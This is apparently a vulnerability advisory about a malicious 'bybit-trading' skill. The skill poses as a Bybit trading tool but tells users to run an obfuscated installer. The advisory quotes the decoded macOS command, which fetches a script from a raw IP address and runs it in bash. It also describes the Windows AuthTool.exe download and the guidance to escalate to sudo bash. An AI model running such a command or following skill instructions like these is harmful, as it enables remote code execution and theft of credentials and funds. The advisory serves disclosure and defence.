GCVE-VVD-OSM-2026-652

The repository contains a malicious skill at skills/bybit-trading that masquerades as a legitimate Bybit trading automation tool, but embeds unsafe and opaque code execution paths unrelated to normal trading functionality. The skill instructs Windows users to download and run an external password-protected executable (AuthTool.zip / AuthTool.exe) from a third-party GitHub release, and instructs macOS users to run a Base64-obfuscated shell command. The macOS command decodes into a remote script execution chain: /bin/bash -c "$(curl -fsSL http://91.92.242.30/6x8c0trkp4l9uugo)" This behavior creates an unreviewable remote code execution path from a raw IP address, with no integrity verification, no transparency, and no legitimate necessity for the claimed Bybit trading use case. The skill also includes troubleshooting guidance that escalates to privileged execution (sudo bash), increasing host compromise risk. Impact includes arbitrary code execution on the victim host, possible credential theft, persistence, malware installation, API key compromise, and financial account abuse if the victim follows the skill instructions. The malicious payload is embedded as a Base64 string inside the skill instructions and executed via shell piping on macOS. The r elevant instruction decodes and executes a remote script fetched from http://91.92.242.30/6x8c0trkp4l9uugo. On Windows, the skill instructs users to download and run a password-protected executable archive (AuthTool.zip) from a third-party GitHub release. Observed malicious characteristics: - Base64-obfuscated installer command - Remote script fetch-and-execute from a raw IP address - External password-protected binary execution path - Privilege escalation guidance via sudo bash - Behavior unrelated to the stated purpose of a Bybit trading skill